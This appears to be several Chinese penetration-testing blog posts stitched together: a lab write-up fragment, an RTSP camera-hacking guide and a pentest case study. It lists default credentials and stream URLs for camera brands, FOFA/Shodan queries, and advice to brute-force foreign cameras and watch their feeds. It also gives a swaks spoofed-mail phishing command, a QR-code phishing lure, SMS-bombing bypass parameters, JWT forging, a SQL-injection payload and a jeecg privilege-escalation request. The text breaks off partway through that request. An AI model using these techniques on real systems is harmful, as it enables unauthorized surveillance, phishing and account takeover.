auth required pam_faillock.so authfail audit deny=3 unlock_time=300

或者修改

/etc/pam.d/common-auth

隐藏后门

查看发现异常用户hacker

userdel -f hacker

这里需要强制删除,因为不添加参数的话会重新创建该用户。

访问控制

访问控制在/etc/hosts.allow中发现存在异常的访问控制,删除该文件即可

安全配置

mysql暴力破解用户名密码root/mysql

mysql -uroot -pmysql

SET GLOBAL general_log = 'ON'; //开启数据库查询日志

或者图形化界面执行修改也可以

访问控制2

限制登录地址为127.0.0.1

修改配置文件

vim /etc/mysql/mysql.conf.d/mysql.cnf

bind-address = 127.0.0.1

定时任务

这个定时任务题目有问题,没有定时任务但是需要删除root的定时任务

rm /var/spool/cron/crontabs/root

其实这里的定时任务文件是没内容的,但是check的机制就是检测文件是否存在

特殊权限

find / -type f -perm -4000 -exec ls -l {} \;

find /:从根目录开始查找(你也可以指定特定的目录,例如 /usr/bin)。

-type f:只查找文件,不查找目录。

-perm -4000:查找设置了 SUID 权限的文件(SUID 权限对应的数字是 4000)。

-ls:显示详细信息,包括文件的权限、所有者、大小、修改时间等。

所有具有suid权限的文件都在/bin下,一般whoami权限是没有suid权限的,所以这个文件被动过,所以这里干掉这个文件就可以了。

流量分析

需要开启SFTP服务,注释掉配置文件

#RSAAuthentication yes 这个配置文件是老版本openssh

另外添加ftp配置文件

Subsystem sftp internal-sftp

检索关键字,追踪tcp流分析找到一串base64编码内容

导出分组字节流解码得到flag

echo "flag{d9d2c4b2-7cf2-472f-a8e8-2aad1e466099}" > /root/flag.txt

web漏洞

目录扫描发现info目录,发现属于xxe的报错,构造xxe语句

system是可执行文件,url路径需要传参,fuzz无果手工测试

回显显示需要参数,简单测试构造发现存在任意文件读取

修复直接就是定位到位置点儿进行修复即可。其实这里最简单的就是直接代码审计,审计即可,因为前期导完数据包的时候环境有问题,修改配置文件无法SFTP连接获取源码,所以就黑盒进行FUZZ了。

声明

本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台!!!

0x1 RTSP奇特之旅前言

浅谈

哈咯,师傅们,好久不见!

已经很久没有写文章了,这次简单写一个蛮有意思的案例,也是在最近攻防演练中遇到的。

其实在最初开始晚没有特别的去想着去利用这个漏洞——RTSP协议漏洞,因为之前有看过文章简单了解过,主要就是打弱口令和未授权访问漏洞,然后一般就是比较敷衍的使用爆破工具爆破下,有无弱口令,或者使用字典目录遍历下。

像下面的我就喜欢使用无影tools的爆破模块

把目标导入即可,然后选择RTSP的554端口进行爆破,字典可以选择内置的字典

其次一般像RTSP的弱口令和未授权在我以前感觉用处不是很大,且平常挖src漏洞之类的,也不怎么碰的到。但是这次攻防演练嘛,有些东西在平常可能没多大的利用的价值,但是打攻防说不定就是可以打分打权限的那种,下面就来介绍下这个RTSP漏洞。

其中主要还是在网上看了很多的打法和文章资料,在网上尝试了蛮多的工具,发现一款GitHub上面的新利用RTSP漏洞一键利用的工具,然后结合这次资产刚好有,就利用起来了。

然后这次我开始也是简单的爆破下,因为这次是攻防演练嘛,然后是某单位的资产,且有好多下级部门的厂商视频监控管理系统,所以对应的监控大都是RTSP协议的,集群远程管理。

且这次的攻防演练目标资产比较多,范围比较广,只要是属于该市的资产都可以,还有一些企业的都可以,像很多的监控系统都带有远程管理操作,所以有部分都是RTSP协议的,且这个漏洞在平常接触比较少,就比如我平常挖src对这个漏洞基本上没有太多的操作。

下面是我简单收集的一些资产表格如下:

0x2 众测捡钱小技巧(拓展)

一、浅谈

上面既然介绍到了我们平常挖企业src中一些不怎么会收的漏洞,比如我这里要讲的RTSP漏洞,这个漏洞的话主要是在攻防演练中,我们可以对目标资料中的一些监控管理系统进行拿监控管理权限的分,因为在攻防演练中主要是通过拿数据分和权限分,特别是你打进内网,像这样的监控系统肯定很多,这样就可以帮助你拿比较多的权限分。

这里给师傅们看下某些评分标准:

下面我来给师傅们讲下众测中,我一般第一先测试的漏洞——SPF邮件伪造漏洞。

具体的测试方法,我下面有很详细的测试手法,其实网上也有很多的批量跑SPF邮件伪造漏洞的脚本,其中我自己也是利用这些脚本去测试的,因为在众测中,得拼手速了,具体的脚本我这里就不放上去了,因为脚本内容因人而异,最好自己修改下。

其实在攻防演练中也是可以利用SPF邮件伪造漏洞的,可以使用SPF邮件伪造去钓鱼,收集目标资产的邮箱,然后去钓鱼攻击,也是一种方法,在护网期间,钓鱼攻击是特别常态且使用特别多的一种方式。

二、SPF邮件伪造漏洞

针对师傅们对于SPF邮件伪造漏洞的拓展,师傅们可以看我之前写的那篇原创文章:https://xz.aliyun.com/news/14752

这里就引用这篇文章的SPF邮件伪造漏洞,写的蛮详细的,师傅们可以参考学习下,然后后面在众测项目上去赚点漏洞赏金。

1、spf邮件伪造漏洞简介:

SPF 记录是一种域名服务(DNS)记录,用于标识哪些邮件服务器可以代表您的域名发送电子邮件

SPF 记录的目的是为了防止垃圾邮件发送者在您的域名上,使用伪造的发件人地址发送邮件。

原理:未设置spf导致的邮件任意伪造,可以用来钓鱼社工,本身就是高危

若您未对您的域名添加 SPF 解析记录,则黑客可以仿冒以该域名为后缀的邮箱,来发送垃圾邮件。

2、漏洞危害:

可以用未进行安全配置的网站域名,发送邮件。

比如:www.baidu.com有这个漏洞,你就可以伪造HR@baidu.com给受害人发邮件进行钓鱼。

src收的少,但是重测和渗透测试项目可以交。

  • 注意:如果没有v=spf1或者没spf就存在邮件伪造漏洞。
  • -all 不能伪造,all可以伪造

3、测试漏洞

我们直接拿baidu.com的域名来给大家演示下,用kali的nslookup 工具测试下

可以看到下面的回显,存在spf记录,是-all参数,说明不能任意伪造。

┌──(root-kali)-[~]
└─# nslookup -type=txt baidu.com

还可以使用dig -t命令来测试

┌──(root-kali)-[~]
└─# dig -t txt baidu.com

4、SPF解析不当导致绕过

把下面的spf配置记录复制下来

测试地址如下:

https://www.kitterman.com/spf/validate.html

这里显示spf解析配置正确

下面拿一个存在spf解析错误的案例来演示下:

SPF记录报错,在这条SPF记录中,存在多个IP段,但只有开头的一段ip用了ipv4,这就导致了语法错误。因为这个错误,将导致整个SPF记录完全失效,因为SPF无效,邮件接收方的SPF检测功能也就失效了。

5、swaks 测试

使用kali自带工具swaks 测试

swaks --body "helloword" --header "Subject:testT" -t 自己的邮箱 -f test@baidu.com
body为内容
Subject为标题
-t为目标邮箱
-f为伪造的发送方,这里我们伪造加了cn字眼,这里伪造改不明显字眼等都会进垃圾箱

我们先申请一个临时邮箱:

http://24mail.chacuo.net/

然后我们使用kali自带的swaks 工具进行测试,结果如下

┌──(root-kali)-[~]
└─# swaks --body "【2024年8月1日】 检测到您教务系统长时间未修改密码,请及时修改密码确保账户安全 手机管家@163.com
【该邮件自动监测请勿回复】" --header "Subject:vivo" -t vioxzs43016@chacuo.net -f customers@alexz.com


看到这里,我们要是对标题和内容进行改进,那么我们是不是就可以尝试钓一波鱼了呢?

0x3 RTSP协议漏洞介绍

一、协议分析

  • RTSP(实时流协议)是一个网络控制协议,设计用于娱乐和通信系统中控制流媒体服务器。该协议用于建立和控制媒体会话中的时间同步流。RTSP 提供了一个可扩展框架,使得能够实现对实时数据,如音频和视频的控制。与HTTP不同,RTSP提供了对流数据的实时控制功能,比如可以随意快进或倒退。

  • RTSP 主要用于以下场景:

    1、视频监控系统,会议视频

    2、IP摄像头监控(企业、大街、工厂的监控头)

    3、媒体播放器与媒体服务器之间的交互

    4、智能家居设备,比如:门铃、智能汽车行车仪等

  • RTSP 协议通常运行在 TCP 或 UDP 协议之上,使用的端口是554,不同厂商可能是8554端口。它允许客户端发送播放、暂停和停止等控制指令,以及进行实时播放位置的调整。

二、RTSP认证方式

1、Basic认证(基本认证)

基本认证是HTTP 1.0 提出的认证方案,其消息传输不经过加密转换因此存在严重的安全隐患。

服务端在未认证时返回401Unauthorized,并带上WWW-Authenticate: Basic realm="RTSP Server"头,要求客户端提供凭据。

1) 客户端发送 DESCRIBE 请求

DESCRIBE rtsp://192.168.1.55:554/11 RTSP/1.0\\r\\n CSeq: 1\\r\\n 
Accept: application/sdp\\r\\n 
User-agent: Realplayer\\r\\n\\r\\n

2)服务端发出 WWW-Authenticate 认证响应

服务端返回401错误码,发出 WWW-Authenticate 认证响应告诉客户端需要进行认证。

RTSP/1.0 401 Unauthorized\r\n 
CSeq: 1\r\n WWW-Authenticate: Basic realm="RTSPD"\r\n\r\n

3)客户端再次发出 DESCRIBE 请求

此时客户端程序弹出密码认证窗口 ,提示输入用户名,密码等认证信息,并根据服务端返回的响应消息中进处理,如果发现是 Basic认证则携带认证信息发送如下报文:

DESCRIBE rtsp://192.168.1.55:554/live/1/video.sdp?token=A00453FR805a54C8 RTSP/1.0\r\n CSeq: 2\r\n 
Accept: application/sdp\r\n 
User-Agent: RealMedia Player HelixDNAClient/12.0.1.647 (win32)\r\n Authorization: Basic YWRtaW46YWRtaW4=\r\n\r\

其中 “YWRtaW46YWRtaW4=” 是通过 username:password 进行 base64 编码所得。因为其具有唯一性等价于账号和密码,明文发送泄漏后存在安全风险。

2、Digest认证(摘要认证)

摘要认证是http 1.1提出的基本认证的替代方案,其消息经过MD5哈希转换因此具有更高的安全性。

避免了直接明文传输密码的风险。但是 MD5 哈希较弱,仍然可以通过 彩虹表等方式破解。

三、RTSP认证流量监测

首先,这里你去了解RTSP认证流量,得先安装两款工具,工具是使用Wireshark和VLC视频播放工具。

1、Wireshark下载地址

https://www.wireshark.org/download.html

2、VLC视频播放工具

https://www.videolan.org/vlc/index.zh_CN.html

因为我的电脑上macbook,所以打开VLC和使用如下操作(windows的操作也是差不多的)

1、默认下载下来是英文的,直接可以设置中文的

选择Language,然后选择简体中文,重启软件就好了

2、打开 VLC 主界面,选择File > OpenNetwork(中文版为媒体 > 打开网络串流

3、在弹出的对话框输入直播流播放地址,然后点击打开即可查看监控视频画面了

3、认证流量监测

使用Wireshark和VLC视频播放工具

获取rtsp协议认证方式,可以发送options和describe请求进行,如下图所示,获取到认证方式为401 Basic和Digest, 如果返回的状态码为200,说明存在未授权访问。

0x4 RTSP漏洞攻击

一、主流摄像头安全问题汇总

1、警卫视摄像头

型号:qs-qy
连接密码:密码默认为空

rtsp连接地址:

rtsp://admin@IP:554/live/ch00_1

2、乐橙摄像头

型号:LC-S2D
rtsp密码:摄像头底部安全码    
rtsp连接地址:
rtsp://admin:L2C3F848@IP:554/cam/realmonitor?channel=1&subtype=0

3、tp-link摄像头

设备型号:TL-IPC44AW
rtsp密码:默认为空
rtsp连接地址:
rtsp://admin@IP:554/stream1   

4、萤石摄像头

设备型号:CS-C6
rtsp密码:摄像头底部安全码
rtsp连接地址:
rtsp://admin:RMETAA@IP:554/h264/ch1/main/av_stream

5、乔安智联摄像头

设备型号:JA-C10E
rtsp密码:空密码
rtsp连接地址:
rtsp://admin@IP:554/live/ch00_1

6、帝防摄像头

设备型号:JA-C10E
rtsp连接地址:
rtsp://admin:admin11@IP:554/onvif1   

7、Cubetoou摄像头

设备型号:Q88
rtsp连接地址:
rtsp://admin:123a123a@IP:554/onvif1

8、 icam365摄像头

设备型号:GI-2304
rtsp连接地址:
rtsp://admin:admin@IP/live.sdp

思路:
①指纹识别    
发送rtsp请求,根据server头找到设备型号为TAS-Tech

②查找设备rtsp地址和密码
在ispyconnect (https://www.ispyconnect.com/camera/tas-tech),上找到rtsp地址和密码。
连接地址为:rtsp://admin:admin@IP/live.sdp

二、RTSP爆破

  • RTSP协议认证主要有Basic和Digest两种
  • 它的RTSP URL通常是这样的 rtsp://admin:admin@192.168.1.56:554/live/sys01

对于爆破用户名、密码和流路径的方法网上也是有很多的python脚本,都可以尝试使用,但是我自己使用了好几个,都感觉差点意思,首先对于打攻防演练中,批量去测试,且需要对测试出来的IP地址进行归类,然后显示和判断出有价值的信息的,且导出页面可视化效果不好,其次好多针对呀RTSP这个漏洞目前汇总的字典不够全,爆破起来不是那么那啥,得自己汇总针对性的字典。

三、RTSP协议爆破工具

我最开始就是使用无影tools和hydra九头蛇进行尝试爆破。

特别是对于新手师傅们,可能更喜欢在网上找些github项目的图形化GUI的项目试试,我这里也是找到了一个工具,蛮不错的,图形化操作,内置字典都还不错

GitHub地址:

https://github.com/returnwrong/RTSP-Cracker-Pro

师傅们要是觉得这个工具还不错,看完我的文章以后可以挖到这类漏洞了,可以给作者点个star关注

这里直接下载这个zip文件即可,里面主要是一个python的可执行文件,是个GUI图形化的工具

但是这里我的MacBook电脑自带的Python 3.9.6运行这个下载的python执行文件,里面的功能显示不全(有点疑惑)

 ~/Downloads/rtsp_crackV1.0.3 > python --version
Python 3.9.6

后面在Cursor上面进行代码修改,提示应该是在 Mac 上运行时出现图形化界面显示异常,可能是由于不同操作系统的字体、颜色渲染或布局方式有所差异导致的,这里直接改改代码即可

工具打开以后是这样的,图形化界面,看着就很简单

四、攻防演练RTSP实战

这里最开始是通过查看评分手册来看到一些摄像头权限分也是可以拿的,且当时在资产收集过程中,看到了蛮多的视频监控管理系统等等,于是我上网找了蛮多的资料和工具进行测试漏洞。

这里直接把IP导入到ip.txt文件中

这里的字典可以使用工具自带的,但是我这里建议师傅们要是能过自己再去多收集一些,然后与这个工具的字典汇总,再去重,爆破效果可能要好点

然后点击破解,就可以看到具体的一个破解速度和进程了,图形化的好处就是可以很直观的看,爆破的日志也很清晰,特别是对于攻防中目标资产特别多,我们可以调整下线程大小

还有就是Digest认证和Basic认证两种都跑一下,这样爆破成功的概率更大

爆破成功后,可以直接点击查看结果的功能,里面的爆破成功目标资产很详细的列举出来了,但是我感觉爆破最主要还是得靠字典,这个工具自带的字典还行,但是也不是特别全,需要自己去网上收集

然后把显示爆破成功的RTSP URLs复制过来到VLC视频工具,然后连接就可以直接看到监控内容了

五、手把手带你挖RTSP漏洞

像师傅们看完我上面的文章了是吧,手肯定也痒痒了,也想去测试下这个漏洞,获取下监控视频的权限。这里提醒下,别使用国内的,可以去试试国外的。具体的空间搜索引擎语法如下:

FOFA语法

port="554" && protocol="rtsp" && category="视频监控"

FOFA语句二:

(port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp"


可以看到数量比较多,测试的时候可以把线程调大点,爆破的时间就稍微短点

shodan搜索网络摄像头语法:

shodan搜索起来更加好点,特别是这里建议大家试试国外的站点,建议可以使用shodan去测试

port:554 has_screenshot:true

然后打开VLC media player,配置流地址,然后就可以直接有监控权限了,可以直接看画面了

0x5 总结

到这里,这篇文章就已经结束了,该聊的和该注意的地方都给师傅们前面已经提过了,结尾呢主要是还是得提醒下师傅们不要未授权测试,且干渗透测试得低调点。

然后上面已经非常详细点给师傅们分享了RTSP漏洞的案例,看完这篇文章,我想小白新手师傅都可以去挖这个漏洞了,使用的工具和手法都给师傅们分享了,且都写的非常的详细。

因为我电脑是MacBook的原因,所以一些软件使用上面还是有差异,师傅们可以自行上网搜索,Google浏览器还是很好用的,多搜搜,最好希望师傅们测试这个漏洞的时候测下国外的,不要未授权测试国内的!!!

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担。

声明

本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台!!!

0x1 前言

一、浅谈

这篇文章主要是给师傅们分享下前段时间我们公司做的渗透测试,这次是跟市里面的网信办一起做的。因为是第一次所以我们这次做的渗透测试价格不高,主要是为了后面连续几年的一个渗透测试服务项目。

这次的渗透测试范围特别广,包含整个市里面的好多政企单位和学校,资产多,测试起来也就比较简单。下面简单给师傅们分享下一些渗透测试上面的漏洞复盘,给新手师傅们,特别是没有参加过渗透测试的师傅们给点经验。这里需要注明下,该项目中的漏洞目前已经全部修复了,另外提醒师傅们不要做未授权测试。所以下面的渗透测试漏洞案例中又部分截屏不全,我会备注,因为目前已经修复了。

二、资产整理

首先我会把公司发的跟这次渗透测试项目相关的文件和资产,还有一些些漏洞报告的模版之类的汇总在一个文件夹中,这样方便后面我自己进行一个漏洞报告编写,以及资产的收集整理,比如像web资产和APP、小程序漏洞都是可以分开整理

我们在渗透测试项目之前,甲方那边都会给我们一些资产相关的表格,下面就是常见的excel表格资产,还有就是有些甲方可能目标资产不是那么多,且大多都是web资产,直接也有发txt文件的

txt的类型像下面的如下:

然后像渗透测试,还有就是授权书也是得有的,这里我们都是合法授权渗透测试的项目,跟那边都有授权合作的项目书,这里也希望师傅们能够合法进行渗透测试

0x2漏洞一 短信轰炸

一、纵向轰炸

这里首先先带师傅们看看渗透测试常测试的点,比如像登陆口,一般都有手机号码登录,手机号码验证登录,需要我们接受短信验证码,然后进行登录操作。像渗透测试还有重测和src漏洞挖掘中,短信轰炸都是收的,企业src价格低点,且一般香短信轰炸,一般像很多企业都要求在比如每分钟15/30条以上就收。

这里测试的手是一个人力资源管理局的一个微信小程序,这里直接输入我自己的手机号,然后使用bp抓包,拦截短信验证码发送的数据包:

直接把数据包放到重放模块,下面直接go一下(第一次go)数据包

可以看到数据包回显是正常的,且手机也是正常的接受到了短信验证码了

但是第二次再次点击发送数据包,缺显示报错,意思是我们已经发送了一次,在短时间类不能再发送了

这里我们就可以想下了,我们能不能进行一个验证码发送限制次数的绕过,这个要是能绕过,无限次数的发送验证码是会消耗这个单位的一个资源的

然后我们就可以进行一个测试了,看看什么字符可以进行绕过验证码发送呢?

经过测试发现,可以通过@、空格、+86、逗号等进行绕过,从而达到短信轰炸的漏洞危害:

我们如果要把危害加大,达到一分钟短信轰炸达到几十条,那么我们就要利用bp的爆破了,我们手动添加多个绕过字符,然后进行爆破,尽量多的提高每分钟爆破短信验证码的发送次数,以此来提高这个漏洞的危害:

然后师傅们就可以看自己的手机上面的短信验证码了,就可以看到一次性并发绕过了很多条短信验证码:

二、横向轰炸

然后这个人力资源局的小程序还存在横向爆破绕过漏洞,可以进行双手机号验证码同时进行发送,从而造成逻辑漏洞,下面师傅们可以参考下我具体的绕过技巧,在碰到这样的场景时候,直接去实操即可

类似下面的,常用的就是下面几个:

phone=13888888888,phone=13999999999
phone=13888888888&phone=13999999999
phone=13888888888,13999999999
phone=13888888888&13999999999

下面我就直接重新回到刚才上面的抓包步骤,抓取发送短信验证码的数据包,然后去尝试使用上面的绕过方法,看看能不能进行绕过,双手机号验证码同时发送,这里我使用我的卡一和卡二来演示:

我这里使用的就是下面这个思路:

phone=13888888888&13999999999

然后就可以看到自己手机短信验证码,收到了来自卡一和卡二一样的验证码,且时间也是一样的:

然后我们这里就可以使用卡二的手机收到的验证码,只需要知道卡一的手机号就行了,那么就可以直接登陆卡一的账号

那么我们后面深入利用就可以去改人力资源局相关站点去搜索电话号码,然后使用这个漏洞就可以越权登陆其他账号,特别是像权限比较高的admin之类的管理员账号

三、短信轰炸总结

下面是我之前总结的一些验证码爆破的一个思维导图,师傅们可以保存下,对于挖掘企业src和众测的时候,厂家收不收呢,其实可以看看相关的文档,一般都是定义每分钟15/30条以上就收

0x3 漏洞 二 SessionKey三要素泄露

一、未授权登陆

下面这个漏洞就是给师傅们分享下,在渗透测试中比较容易发现,并且好打的一个漏洞点——SessionKey三要素泄露,这个漏洞在蛮多微信小程序中都存在,且利用的手法不难,看完我这篇文章,师傅们也可以去测试下

这个漏洞需要使用到一个SessionKey三要素解密的工具,有直接下载使用的,也有burpsuit插件,反正原理都是一样的,加解密→替换数据包→未授权登陆

1、首先介绍下使用到的SessionKey解密工具

https://github.com/mrknow001/wx_sessionkey_decrypt/releases/tag/v0.1

这个工具直接双击运行即可,类似下面的:

还有一个就是使用burpsuit的自带插件

https://github.com/mrknow001/BurpAppletPentester/releases/tag/v1.1

直接就可以导入到bp插件中

2、这个微信小程序是目标资产中的一个大学的小程序设备,大学那种预约访谈进出校园、校园招聘那种功能点,像这样的基本上都有那种手机号一键登陆的功能点,像这样的微信小程序手机号一键登陆,很大概率存在SessionKey三要素泄露漏洞,这样的漏洞我之前挖EDUSRC挖了好多,且有一本证书站也就是这个漏洞,但是没有那么明显

3、点击手机号快捷登陆操作,直接使用bp抓包,可以看到数据包中出现了SessionKey三要素泄露:

4、直接一键发送到AppletPentester 插件中

5、直接一键解密即可

6、在信息收集的时候,在一个接口中,发现这个微信小程序里面有很多的一些学校老师信息,比如手机号之类的,然后这里我就带师傅们利用这个SessionKey三要素泄露漏洞,直接未授权登陆管理员老师账号

直接替换成管理员老师176的手机号,然后点击加密

再进行登陆口抓起数据包,替换数据包,然后点击重发数据包即可

就可以直接未授权登陆这个账号了

二、弱口令+信息泄露

然后,我这里直接把这个小程序的host拿到web页面去访问,因为我一般打小程序都有这个习惯,看看web端有没有系统,特别是那种登陆系统,弱口令的概率很大

打开web端访问,直接跳转这个页面,特别经典的若依系统页面

这里直接使用刚才的手机号+弱口令密码

直接成功登陆了后台,里面泄露了整个学校的学校个人敏感信息

0x4 JWT爆破攻击

一、可爆破/未验证签名导致越权

首先通过微信搜索小程序,找到对应目标资产中的小程序系统

直接点击这个微信小程序,这个时候我们需要一直打开我们的bp抓取小程序的数据包(这个是一个测试小程序的一个好习惯,因为有些接口,包括敏感信息泄露,看历史的数据包很关键),然后看看数据包有没有什么提示,因为这里我的bp安装了HAE,一般重点关注带颜色的数据包

这里我们可以看到bp的历史数据包,显示了多个JSON Web Token也就是大家常说的JWT值,像一般碰到这样的JWT值,我一般都会选择JWT爆破尝试haiy选择有无设置None加密,去进行做一个渗透测试

这里先直接复制到https://jwt.io/ 去看看这个JWT里面的内容,然后去猜测这个paylod校验哪部分

下面我来给师傅们讲解下这个payload代表什么,一些新手师傅可能没有了解过,包括后面进行数据包替换,也是要修改其中的payload值

|字段名|值|说明|
|-|-|-|
|role|appUser|用户角色,表明用户属于应用层普通用户(非管理员)|
|exp|1747377338|令牌过期时间(Unix 时间戳)。通过转换可得具体时间:2025-11-14 11:15:38 UTC|
|userId|xxxxxxxxxxxxxxxxxx|用于标识用户身份|
|user_key|xxxxx-xxxx-xxxx-xxxx |用户密钥或关联密钥(可能用于访问控制或加密)。|
|username|1xxxxxxxxx79|手机号,一键微信登陆的|

这里先使用自己修改的JWT脚本爆破工具,看看能不能爆破出密钥

爆破发现其密钥为123456

然后直接来到刚才JWT的网站,去利用该key构造JWT,可以直接进入后台,下面的勾需要勾上

因为这里我经过测试,这个网站的JWT是对user_key进行校验,所以只要在规定时间内user_key不过期,那么我们就可以拿另外一个手机号进行测试,替换bp抓取登陆口的数据包,然后放包就可以直接登陆别的账号

首先这里需要修改下时间戳,拿这个网站:https://tool.lu/timestamp/ 一般都是改成第二天的时间,不可以早于测试时间

还有就是把username替换下,这里我做测试,替换我的卡二,也就是最后面说93的尾号,因为经过测试,普通用户的role 都是appuser,这里猜测管理员可能是admin

然后直接在小程序登陆口,使用bp抓包,然后劫持数据包,进行替换token值,因为这里经过测试是校验的JWT值

通过不断替换JWT值,然后不断测试放包,放包,最后面可以直接不需要使用账号密码,直接登陆改账号

二、设置加密为None导致不验证签名从⽽达到越权

上面那种情况只需要爆破密钥,或者一些系统框架默认使用一些密钥,没有经过修改,可以直接利用默认key的那种,这里给师傅们讲解下那种设置加密了——None加密,导致直接爆破不了,需要使用JWT工具自动生成None加密的四种不同算法,也可以理解成一种绕过思路

这里需要使用的工具是jwt_tool,下载地址如下:https://github.com/ticarpi/jwt_tool

这里我这个小程序是不存在这个漏洞,但是这里给没有学过这个漏洞的师傅们演示下

python jwt_tool.py JWT值

会直接显示JWT解密以后的内容显示出来

下面使用这个工具来测试 None 算法漏洞

使用下面的这个语法跑这个脚本,⾃动⽣成 4 种 None 算法的变体(⼤⼩写敏感测试),其实也就是使用这四个token去挨个尝试替换,然后发包,看看返回包是否有成功回显数据

python jwt_tool.py JWT值 -X a  

burpsuit返回包总结:

401 Unauthorized → 签名校验失败,可尝试算法混淆或密钥爆破
200 OK → 攻击成功(罕⻅,说明存在⾼危漏洞)
{"error":"alg not allowed"} → 服务端禁⽤ None,可尝试算法改⽤其他攻击向量(如 PS256 → HS256)

0x5 OAuth2.0漏洞

这次我在测试过程中碰到了OAuth2.0漏洞,是一个企业的微信公众号和一个带宣传性的一个登陆管理网站存在的这个漏洞,直接存在二维码不需要二次确认扫描,目前已经被修复了,但是那种漏洞的站点很明显,截屏那个网站的logo打码也看的出来

所以这里直接给师傅们分享下我之前写的一篇关于OAuth2.0漏洞的文章,在先知社区原创的文章:https://xz.aliyun.com/news/16153

简单案例分享

简单来讲就是在登录过程中,比如可以使用第三方应用授权登录,且扫描二维码登录不需要确认校验,直接扫码即可登录,那么就可以使用二维码钓鱼之类的危害,就是文章开头的描述的百度案例一样。

这里进入后台,然后有一个使用微信绑定,扫描二维码的功能

点击立即绑定,然后就会弹出来一个二维码,那么我们就可以拿这个二维码进行一个钓鱼欺骗,让别人扫描二维码,从而绑定别人的微信号

就跟我上面的一个,搞一个钓鱼的二维码模板,然后往一些网安群里面一发,说什么小白免费领取网安教程,只需要扫描此二维码即可(肯定有人扫的)

0x6 jeecg泄露漏洞

一、jeecg框架简介

JeecgBoot是一款基于AIGC、BPM和低代码引擎的AI低代码平台,旨在帮助企业快速实现低代码开发和构建个性化AI应用!前后端分离架构Ant Design&Vue3,SpringBoot,SpringCloud Alibaba,Mybatis-plus,Shiro。强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE, 帮助Java项目解决80%的重复工作,让开发更多关注业务,快速提高效率 节省成本,同时又不失灵活性!低代码能力:Online表单、Online报表、大屏/仪表盘设计、表单设计、流程设计、报表设计;AI能力:AI应用平台+知识库问答、AI模型管理、AI流程编排、AI聊天、AI建表等,支持各种AI大模型ChatGPT、DeepSeek、Ollama等.

jeecg官网如下:

https://www.jeecg.com/

二、jeecg综合漏洞利用工具

这里先给新手师傅们分享个还不错的jeecg漏洞利用工具,首先这个工具书GUI图形化工具,还有就是这个工具更新了很大jeecg的历史nday漏洞在里面,使用操作简单

工具下载链接:https://github.com/MInggongK/jeecg-

这里给师傅们演示下,直接把可能存在jeecg漏洞的url导入目标中,然后选择ALL模块,进行检测即可

三、从小程序到web端接口泄露

好了,这里废话不多说了,这里回归这次渗透测试项目中来,再次给师傅们分享下这个漏洞,因为有些刚接触网安的师傅还没有接触这个漏洞,所以这里给大家分享下,这次jeecg漏洞通过以前保留的一些jeecg测试手册,一些jeecg的接口和bp数据包,像这样的jeecg框架系统,都是可以直接拿来测试

1、首先,这个系统漏洞还是小程序,直接搜索对应资产小程序名称,这个系统是该市里面的一个大学的缴费系统

2、打开微信小程序,首先我会直接去打开bp抓包,然后这里随便点击里面的功能点,然后进行看里面的数据包

然后去翻里面的历史数据包,师傅们可以看到下面的table关键字

这个tableNane关键字让我感到兴趣,是因为开发人员在一些做接口命名的时候,不会随意取名称,他这个接口后面的tableNane=xxxx,这里我直接去拿table表名出线多的去尝试猜测下

这里我尝试了几个,但是都没有出信息,还尝试了information_schema.tables表名,都没有什么数据回显

然后我这里还尝试直接把表名置空,但是依然没有什么敏感数据回显

3、这里直接把小程序数据包中的host域名和端口,直接放到web端去访问,然后再尝试别的测试

4、这里使用findsomething插件,去跑下web页面泄露的接口,这里把收集到的接口放到一个1.txt的文件中

5、这里师傅们要是没有思路,最简单的就是就可以直接把findsomething插件泄露的接口利用bp的POST和GET方法都跑一遍即可。但是这里我需要找找我保存的接口里面有没有泄露跟tableName相关的

6、通过findsomething插件,得到了好几个tableName的接口,然后直接使用bp去访问,发现一个接口直接泄露了四百多个数据表格名称

然后每个表里面都泄露了好几百个个人敏感信息,比如身份证、手机号、姓名之类的

四、SQL注入漏洞

这个小程序的一个接口还存在SQL注入漏洞,通过测试,直接可以注入出数据库名称,直接又一个SQL注入到手了

SQL注入payload:updatexml(1,concat(0x7e,user(),0x7e),1)

五、提权操作

师傅们,其实测试到这里,这个系统小程序和web端都摸熟悉了,就是jeecg的系统框架,里面的很多接口都是jeecg开发默认的接口名称,但是前面的路径发生了一点变化,没有原班直接拿jeecg的接口使用,但是经过FUZZ测试出来了很多接口,这里给师傅们分享下,我先注册一个账号,然后提权到admin管理员账号的过程。

首先我使用register注册接口,注册一个账号

下面就是提权的一个操作了,需要再次FUZZ接口,因为打jeecg漏洞多的师傅们,都知道,jeecg有很多的接口,像什么注册、查信息,查user_id,查所以账号的token值,还有用户敏感信息等,但是现在很多系统都不会直接拿jeecg都路径接口部署了,多多少少会进行魔改

这里首先需要查询管理员admin的账户ID

然后查询自己刚才创建用户的ID值

然后使用打提权使用的jeecg漏洞poc,如下:

//roleld填写需要提权的角色id userldList填写自己的id

POST xxxxx/jeecg-boot/sys/user/addSysUserRole(jeecg接口,需要自己去尝试,不一定是我这个) HTTP/1.1
Host: 
Cookie: cna=Ov9SH4RxGiACAf////9C18zb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjUzNzMyNDMsInVzZXJuYW1lIjoiMTEwMTAyIn0.NXRckymfKdZvEFsDQZ9Jwvk_rU_gVny2Rx6A
Tenant-Id: 0
Origin:
Dnt: 1
Referer: 
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: close
Content-Type: application/json
